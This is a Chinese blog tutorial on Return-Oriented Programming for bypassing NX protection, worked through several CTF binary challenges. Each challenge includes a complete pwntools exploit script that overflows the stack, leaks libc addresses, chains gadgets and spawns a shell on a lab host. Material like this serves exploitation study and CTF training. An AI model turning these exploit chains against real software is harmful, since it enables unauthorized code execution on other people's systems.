ROP技术

Posted by nop on 2019-11-22
Words 5.1k In Total

内存页的RWX三种属性。显然,如果某一页内存没有可写(W)属性,我们就无法向里面写入代码,如果没有可执行(X)属性,写入到内存页中的ShellCode就无法执行。

查看某个ELF文件中是否有RWX内存页:

  • 在静态分析和调试中使用IDA的快捷键Ctrl + S或者Shift + F7

Alt
Alt

  • 使用Pwntools自带的checksec命令检查程序是否带有RWX段。

Alt

当然,由于程序可能在运行中调用mprotect( ), mmap( )等函数动态修改或分配具有RWX属性的内存页,以上方法均可能存在误差。

既然攻击者们能想到在RWX段内存页中写入ShellCode并执行,防御者们也能想到,因此,一种名为NX位(No eXecute bit)的技术出现了。这是一种在CPU上实现的安全技术,这个位将内存页以数据和指令两种方式进行了分类。被标记为数据页的内存页(如栈和堆)上的数据无法被当成指令执行,即没有X属性。由于该保护方式的使用,之前直接向内存中写入ShellCode执行的方式显然失去了作用。因此,我们就需要学习一种著名的绕过技术——ROP(Return-Oriented Programming, 返回导向编程)

顾名思义,ROP就是使用返回指令ret连接代码的一种技术(同理还可以使用jmp系列指令和call指令,有时候也会对应地成为JOP/COP)。一个程序中必然会存在函数,而有函数就会有ret指令。我们知道,ret指令的本质是pop eip,即把当前栈顶的内容作为内存地址进行跳转。

而ROP就是利用栈溢出在栈上布置一系列内存地址,每个内存地址对应一个gadget,即以ret/jmp/call等指令结尾的一小段汇编指令,通过一个接一个的跳转执行某个功能。由于这些汇编指令本来就存在于指令区,肯定可以执行,而我们在栈上写入的只是内存地址,属于数据,所以这种方式可以有效绕过NX保护。

使用ROP调用got表中的函数

x86的情况

首先看x86下的程序,将~/RedHat 2017-pwn1/pwn1部署到32位环境中。
在IDA中查看函数,发现逻辑并不复杂,存在输入溢出(变量v1的首地址在bp-28h处,即变量在栈上,而输入使用的__isoc99_scanf不限制长度,因此我们的过长输入将会造成栈溢出。):

Alt

checkse查看发现开启了NX保护:

Alt

程序开启了NX保护,所以显然我们不可能用shellcode打开一个shell。根据之前文章的思路,我们很容易想到要调用system函数执行system(“/bin/sh”)。那么我们从哪里可以找到system和“/bin/sh”呢?
第一个问题,搜索字符串,发现了system:

Alt
Alt

我们知道使用动态链接的程序导入库函数的话,所以我们可以在GOT表和PLT表中找到函数对应的项(地址)。

第二个问题,通过对程序的搜索并没有发现字符串“/bin/sh”,但是程序里有__isoc99_scanf,我们可以调用这个函数来读取“/bin/sh”字符串到进程内存中。

首先,我们需要知道将“/bin/sh”放到什么位置,因为将字符串作为参数传递给system时需要参数的地址,所以不能直接使用程序原本的变量。再者说程序原本定义的变量需要用来使程序发生两次溢出。

F9运行程序,然后通过快捷键Ctrl + S找到一段可以使用的位置:

Alt

我们看到0x0804A064开始有个可读可写的大于8字节的地址,且该地址不受ASLR影响,所以我们可以考虑把字符串读到这里。
或者不运行程序时通过快捷键Ctrl + S可以看到0x0804A030开始也有个可读可写的大于8字节的地址,且该地址不受ASLR影响。

Alt

接下来我们找到__isoc99_scanf的另一个参数“%s”,位于0x08048629

Alt
Alt

接着我们使用pwntools的功能获取到__isoc99_scanf在PLT表中的地址(获取system的地址也通过此方式),PLT表中有一段stub代码,将EIP劫持到某个函数的PLT表项中我们可以直接调用该函数。我们知道,对于x86的应用程序来说,其参数从右往左入栈。因此,现在我们就可以构建出一个ROP链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!usr/bin/python
#coding=utf-8
#

from pwn import *

context.update(arch = 'i386', os='Linux', timeout = 1)
io = remote('172.17.0.2',10001)

elf = ELF('./pwn1')

input_addr = p32(elf.symbols['__isoc99_scanf'])
sys_addr = p32(elf.symbols['system'])
format_addr = p32(0x08048629)
bin_addr = p32(0x0804A064)

shellcode1 = 'A'*0x34
shellcode1 += input_addr
shellcode1 += format_addr
shellcode1 += bin_addr

print io.read()
io.sendline(shellcode1)
io.sendline("/bin/bash")

通过调试我们可以看到,当EIP指向retn时,栈上的数据和我们的预想一样,栈顶是plt表中__isoc99_scanf的首地址,紧接着是两个参数。

Alt

我们继续跟进执行,在libc中执行一会儿之后,我们收到了一个错误,0x0804A064处也没有成功写入字符串"/bin/bash"

Alt

我们知道call指令会将call指令的下一条指令地址压入栈中,当被call调用的函数运行结束后,ret指令就会取出被call指令压入栈中的地址传输给EIP。

但是在这里我们绕过call直接调用了__isoc99_scanf,没有像call指令一样向栈压入一个地址。此时函数认为返回地址是紧接着input_addrformat_addr,从而第一个参数就变成了binsh_addr
调用__isoc99_scanf的情况:

Alt
Alt

构造ROP调用__isoc99_scanf的情况:

Alt
Alt
Alt

从两种调用方式的比较上我们可以看到,由于少了call指令的压栈操作,如果我们在布置栈的时候不模拟出一个压入栈中的地址,被调用函数的取到的参数就是错位的。所以我们需要改良一下ROP链。根据上面的描述,我们应该在参数和保存的EIP中间放置一个执行完的返回地址。鉴于我们调用scanf读取字符串后还要调用system函数,我们让__isoc99_scanf执行完后再次返回到main函数开头,以便于再执行一次栈溢出。改良后的ROP链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!usr/bin/python
#coding=utf-8
#

from pwn import *

context.update(arch = 'i386', os='Linux', timeout = 1)
io = remote('172.17.0.2',10001)

elf = ELF('./pwn1')

input_addr = p32(elf.symbols['__isoc99_scanf'])
sys_addr = p32(elf.symbols['system'])
format_addr = p32(0x08048629)
bin_addr = p32(0x0804A064)
main_addr = p32(0x08048531)

shellcode1 = 'A'*0x34
shellcode1 += input_addr
shellcode1 += main_addr
shellcode1 += format_addr
shellcode1 += bin_addr

print io.read()
io.sendline(shellcode1)
io.sendline("/bin/bash")

调试发现"/bin/bash/"成功写入:

Alt

此时程序再次从main函数开始执行。由于栈的状态发生了改变,我们需要重新计算溢出的字节数(0x2c)。

Alt
Alt

然后再次利用ROP链调用system执行system(“/bin/sh”)

完整的ROP链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!usr/bin/python
#coding=utf-8
#

from pwn import *

context.update(arch = 'i386', os='Linux', timeout = 1)
io = remote('172.17.0.2',10001)

elf = ELF('./pwn1')

input_addr = p32(elf.symbols['__isoc99_scanf']) # plt表中scanf函数所在内存地址
sys_addr = p32(elf.symbols['system']) # plt表中的system函数所在的内存地址
format_addr = p32(0x08048629) # 字符串%s的地址
bin_addr = p32(0x0804A064) # 写入字符串"/bin/bash"的地址
main_addr = p32(0x08048531) # 主函数地址,用于第二次溢出调用system函数

shellcode1 = 'A'*0x34
shellcode1 += input_addr # 调用scanf以从STDIN读取"/bin/sh"字符串
shellcode1 += main_addr # scanf返回后到main函数
shellcode1 += format_addr # scanf参数
shellcode1 += bin_addr # "/bin/sh"字符串所在地址


shellcode2 = 'B'*0x2c
sys_addr = p32(0x0804A018) # 调用system函数
shellcode2 += main_addr # 填补EIP的位置即system的返回地址,防止参数错位,地址可以任意
shellcode2 += bin_addr # 传入system的参数


print io.read()
io.sendline(shellcode1)
sleep(0.1)
# 等待程序执行,防止出错
print io.read()
io.sendline('/bin/sh')
sleep(0.1)
# 等待程序执行,防止出错
print io.read()
io.sendline(shellcode2)
sleep(0.1)
# 等待程序执行,防止出错
io.interactive()

运行即可拿到shell:

Alt

x64的情况

接着来看看x64下如何使用ROP调用got表中的函数,将~/bugs bunny ctf 2017-pwn150/pwn150部署到64位的环境中。
在IDA中可以发现溢出点在函数Hello()中

Alt

和x86的例子一样,开启了NX保护,需要找到system/bin/bash才能拿到shell。程序在main函数中调用了自己定义的一个叫today的函数,执行了system(“/bin/date”),那么system函数就有了。

Alt

至于”/bin/sh”字符串,虽然程序中没有,但是我们找到了”sh”字符串,利用这个字符串其实也可以开shell。不过这里需要注意的是”sh”的地址为0x4003ef而不是0x4003eb

Alt

现在有了栈溢出点,有了system函数,有了字符串”sh”,可以尝试开shell了。但首先我们要解决传参数的问题。和x86不同,在x64下通常前六个参数参数从左到右依次放在rdi, rsi, rdx, rcx, r8, r9,多出来的参数才会入栈(根据调用约定的方式可能有不同,通常是这样),因此,我们就需要一个给RDI赋值的办法。由于我们可以控制栈,根据ROP的思想,我们需要找到的就是pop rdi; ret,前半段用于赋值rdi,后半段用于跳到其他代码片段。
有很多工具可以帮我们找到ROP gadget,例如pwntools自带的ROP类,ROPgadget、rp++、ropeme等。
这里使用ROPgadget。通过ROPgadget --binary 指定二进制文件,使用grep在输出的所有gadgets中寻找需要的片段:ROPgadget --binary pwn150 | grep "pop rdi"

Alt

这里有一个小trick。首先,我们看一下IDA中这个地址的内容是什么。

Alt

我们可以发现并没有0x400883这个地址,0x400882pop r15, 接下来就是0x400884retn
我们选择0x400882,按快捷键D转换成数据:

Alt

然后选择0x400883按C转换成代码:

Alt

我们可以看出来pop rdi实际上是pop r15的“一部分”。这也再次验证了汇编指令不过是一串可被解析为合法opcode的数据的别名。只要对应的数据所在内存可执行,能被转成合法的opcode,跳转过去都是不会有问题的。
现在我们已经准备好了所有东西,可以开始构建ROP链了。这回我们直接调用call system指令,省去了手动往栈上补返回地址的环节,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(arch = 'amd64', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)

call_system = 0x40075f
binsh = 0x4003ef
pop_rdi = 0x400883

payload = ""
payload += "A"*88
payload += p64(pop_rdi)
payload += p64(binsh)
# payload内容是在栈上的,“A”溢出到retn时,执行pop rdi,即将栈顶的数据放到rdi中,因为此时执行的时pop rdi,所以栈顶的内容为binsh,即“sh”,这样,就把“sh”写入到rdi作为system函数的参数了
payload += p64(call_system)

io.sendline(payload)
io.interactive()

使用ROP调用int 80h/syscall

很多情况下目标程序并不会导入system函数。在这种情况下我们就需要通过其他方法达到目标。需要通过其他方式来获取shell,本部分是通过ROP调用int 80h/syscall来拿到shell。将~/Tamu CTF 2018-pwn5/pwn5部署到32位的环境中。
这个程序主要功能在print_beginning()实现。

Alt
Alt

这个函数有大量的puts()printf()输出提示,要求我们输入first_name, last_namemajor三个字符串到三个全局变量里,然后选择是否加入Corps of Cadets。不管选是还是否都会进入一个差不多的函数,但这个程序选择加入Corps of Cadets才能选择进入函数 change_major()

Alt

我们可以看到只有选择选项2才会调用函数change_major(),其他选项都只是打印出一些内容。进入change_major()后,我们发现了一个栈溢出:

Alt

发现了溢出点后,我们就可以开始构思怎么getshell了。这个程序里找不到system函数。但是我们用ROPGadget –binary pwn5 | grep “int 0x80”找到了一个可用的gadget

Alt

我们知道在http://syscalls.kernelgrok.com/ 上可以找到sys_execve调用,同样可以用来开shell,这个系统调用需要设置5个寄存器,其中eax = 11 = 0xb, ebx = &(“/bin/sh”), ecx = edx = edi = 0. “/bin/sh”我们可以在前面输入到地址固定的全局变量中(first_name,last_name)。接下来我们就要通过ROPgadget搜索pop eax/ebx/ecx/edx/esi; ret了。

Alt

ROPgadget --binary pwn5 | grep "pop eax"

Alt

通过这条命令我们可以找到两个gadget,但是第二个并不适用,因为地址中包含两个0x0a即换行,我们找到的溢出点是通过gets()获取输入的,这个函数默认以换行符作为结束,所以如果我们采用第二个gadget会造成payload被截断,从而不能获取shell,所以这里我们选择第一个gadget,但是我们还差ecx, edx,所以还需要再找一个gadget
ROPgadget --binary pwn5 |grep "pop edx"

Alt

好了,现在可以直接构造ROP链了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!usr/bin/python
#coding=utf-8
#

from pwn import *

context.update(arch = 'i386', os='Linux', timeout = 1)
io = remote('172.17.0.2',10001)

last_name=0x080f1aa0
int80=0x08071005
pop1=0x08095ff4
pop2=0x080733b0

payload="A"*32
payload+=p32(pop1)
payload+=p32(0x0b)
payload+=p32(last_name)
payload+=p32(0)
payload+=p32(0)
payload+=p32(0)
payload+=p32(pop2)
payload+=p32(0)
payload+=p32(0)
payload+=p32(last_name)
payload+=p32(int80)

io.sendline("A")
io.sendline("/bin/sh")
io.sendline("A")

io.sendline("Y")

io.sendline("2")

io.sendline(payload)

io.interactive()

运行脚本,成功拿到shell:

Alt

从给定的libc中寻找gadget

pwn题目提供一个pwn环境里对应版本的libc的情况下,我们就可以通过泄露出某个在libc中的内容在内存中的实际地址,通过计算偏移来获取system和“/bin/sh”的地址并调用。将~/Security Fest CTF 2016-tvstation/tvstation部署到64位的环境中。
先运行程序:

Alt

题目中除了显示出来的三个选项之外还有一个隐藏的选项4,选项4会直接打印出system函数在内存中的首地址。

Alt
Alt

从IDA中我们可以看到打印完地址后执行了函数debug_func(),进入函数debug_func()之后我们发现了溢出点

Alt

由于这个题目给了libc,且我们已经泄露出了system的内存地址。使用命令readelf -a 查看程序

Alt
Alt

从这张图上我们可以看出来.text节(Section)属于第一个LOAD段(Segment),这个段的文件长度和内存长度是一样的,也就是说所有的代码都是原样映射到内存中,代码之间的相对偏移是不会改变的。由于前面的PHDR, INTERP两个段也是原样映射,所以在IDA里看到的system首地址距离文件头的地址偏移和运行时的偏移是一样的。比如如:在这个libc中system函数首地址是0x456a0,即从文件的开头数0x456a0个字节到达system函数

Alt

运行程序发现system函数在内存中的地址是:0x7f7244eecff0

Alt

计算0x7f7244eecff0 - 0x456a0 = 0x7F7244EA7950‬
IDA调试时也能看到libc的加载首地址(因为不是同一次运行程序,所以这里IDA中看到的地址和计算得到的并不一致):

Alt

根据这个事实,我们就可以通过泄露出来的libc中的函数地址获取libc在内存中加载的首地址,从而以此跳转到其他函数的首地址并执行。
在libc中存在字符串”/bin/sh”,该字符串位于.data节,根据同样的原理我们也可以得知这个字符串距libc首地址的偏移

Alt

还有用来传参的gadget :pop rdi; ret

Alt
Alt

构建ROP链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python
#coding:utf-8

from pwn import *

io = remote('172.17.0.2', 10001)

io.recvuntil(": ")
io.sendline('4')
io.recvuntil("@0x")
system_addr = int(io.recv(12), 16)
# system_addr = int(io.recv()[0:12], 16)
libc_start = system_addr - 0x456a0
pop_rdi_addr = libc_start + 0x400c13
binsh_addr = libc_start + 0x18ac40

payload = ""
payload += 'A'*40
payload += p64(pop_rdi_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)

io.sendline(payload)

io.interactive()

运行脚本即可拿到shell

Alt

特殊的gadget

通用gadgets

通用gadgets,通常位于x64的ELF程序的__libc_csu_init中:

Alt
Alt

gadget1:mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8];
gadget2:pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn;
gadget3:pop rdi;retn;

在x64的ELF程序中向函数传参,通常顺序是rdi, rsi, rdx, rcx, r8, r9, 栈,以上三段gadgets中,gadget2可以设置r12-r15,接上gadget3使用已经设置的寄存器设置rdi, 接上gadget1设置rsi, rdx, rbx,最后利用r12+rbx*8可以call任意一个地址(令rbx=0,r12为任意地址)。在找gadgets出现困难时,可以利用这个gadgets快速构造ROP链。需要注意的是,用万能gadgets的时候需要设置rbp=1,因为call qword ptr [r12+rbx*8]之后是add rbx, 1; cmp rbx, rbp; jnz xxxxxx。由于我们通常使rbx=0,从而使r12+rbx*8 = r12,所以call指令结束后rbx必然会变成1。若此时rbp != 1,jnz会再次进行call,从而可能引起段错误。
例子~/LCTF 2016-pwn100/pwn100中提供了linc,这个程序无论我们怎么输入都会产生溢出:

Alt
Alt

我们需要做的就是泄露一个got表中函数的地址,然后计算偏移得到system的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#coding:utf-8

from pwn import *

io = remote("172.17.0.3", 10001)
elf = ELF("./pwn100")

puts_addr = elf.plt['puts']
read_got = elf.got['read']

start_addr = 0x400550
pop_rdi = 0x400763
universal_gadget1 = 0x400740
# mov rdx, r13
# mov rsi, r14
# mov edi, r15d
# call qword ptr [r12+rbx*8]

universal_gadget2 = 0x40075a
# pop rbx
# pop rbp
# pop r12
# pop r13
# pop r14
# pop r15
# retn

binsh_addr = 0x601060
# binsh_addr = 0x601040
payload = "A"*72
payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(puts_addr)
payload += p64(start_addr)
payload = payload.ljust(200, "B")

io.send(payload)
io.recvuntil('bye~\n')
read_addr = u64(io.recv()[:-1].ljust(8, '\x00'))
# read_addr = u64(io.recv().ljust(8,'\x00'))
log.info("read_addr = %#x", read_addr)
system_addr = read_addr - 0xb31e0
log.info("system_addr = %#x", system_addr)

Alt
Alt

从libc的system和read的地址可以计算得到两者之间的偏移量:0xF8880-0x456A0=0xB31E0,所以system在内存中的地址为:system_addr = read_addr - 0xb31e0

Alt

得到system的地址,为了使用万能的gadgets,我们再次调用read函数读取bin/sh\x00,而不是直接使用偏移读取libc中的bin/sh
下面通过gadget1和gadget2布置好栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
payload = "A"*72
payload += p64(universal_gadget2)
# pop rbx
# pop rbp
# pop r12
# pop r13
# pop r14
# pop r15
# retn
payload += p64(0) #rbx = 0
payload += p64(1) #rbp = 1
payload += p64(read_got) #r12 = got表中read函数项,里面是read函数的真正地址,直接通过call调用
payload += p64(8) #r13 = 8,read函数读取的字节数
payload += p64(binsh_addr) #r14 = read函数读取/bin/sh保存的地址
payload += p64(0) #r15 = 0,read函数的参数fd
payload += p64(universal_gadget1)
# mov rdx, r13
# mov rsi, r14
# mov edi, r15d
# call qword ptr [r12+rbx*8]

rbx=0是为了使call qword ptr [r12+rbx*8]变成call qword ptr [r12]从而达到调用后面将地址赋给r12的read函数。使rbp=1是为了过掉后面的jnz short loc_400740防止jnz再次进行call,从而可能引起段错误。剩下的就是布置read函数的参数即函数本身的地址。

回头看一下universal_gadget2的执行流程,可以发现由于我们的构造,sub_400740只会执行一次,然后流程就将跳转到下面的loc_400756,这一系列操作将会抬升8*7共56字节的栈空间,因此我们还需要提供56个字节的垃圾数据进行填充,然后才能拼接上retn要跳转的地址(即start_addr,我们需要再执行一次输入来读取’bin/sh\x00’)

Alt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
payload += '\x00'*56
payload += p64(start_addr)
payload = payload.ljust(200, "B")

io.send(payload)
io.recvuntil('bye~\n')
io.send("/bin/sh\x00")

payload = "A"*72
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload = payload.ljust(200, "B")

io.send(payload)
io.interactive()

one gadget RCE

通过一个gadget远程执行代码, 例子:~/TJCTF 2016-oneshot/onesho
工具one_gadget,使用这个gadget还需要一个对应的libc。

示例中的程序并不复杂,第二个输入会将我们的输入当作地址执行:

Alt

因为输入为长整型,所以只能控制四个字节的地址,使用one_gadget找一个gadget:

Alt

程序中执行call rdx前会执行mov eax,0所以这里选择第一个gadget:0x45526 execve("/bin/sh",rsp+0x30,environ)
构建脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python
#coding:utf-8

from pwn import *

one_gadget_rce = 0x45526
#one_gadget libc.so.6_x64
#0x45526 execve("/bin/sh", rsp+0x30, environ)
#constraints:
# rax == NULL
setbuf_addr = 0x77f50
setbuf_got = 0x600ae0

io=process("./oneshot")
# io = remote("172.17.0.2", 10001)

io.sendline(str(setbuf_got))
io.recvuntil("Value: ")
setbuf_memory_addr = int(io.recv()[:18], 16)

io.sendline(str(setbuf_memory_addr - (setbuf_addr - one_gadget_rce)))

io.interactive()

因为程序第一个输入部分会将我们输入的地址的内存地址打印出来,所以我们可以通过setbufgot表地址来泄露setbuf在内存中的地址,然后再计算偏移量得到我们找到的gadget在内存中的地址。

Alt
Alt


You are welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them.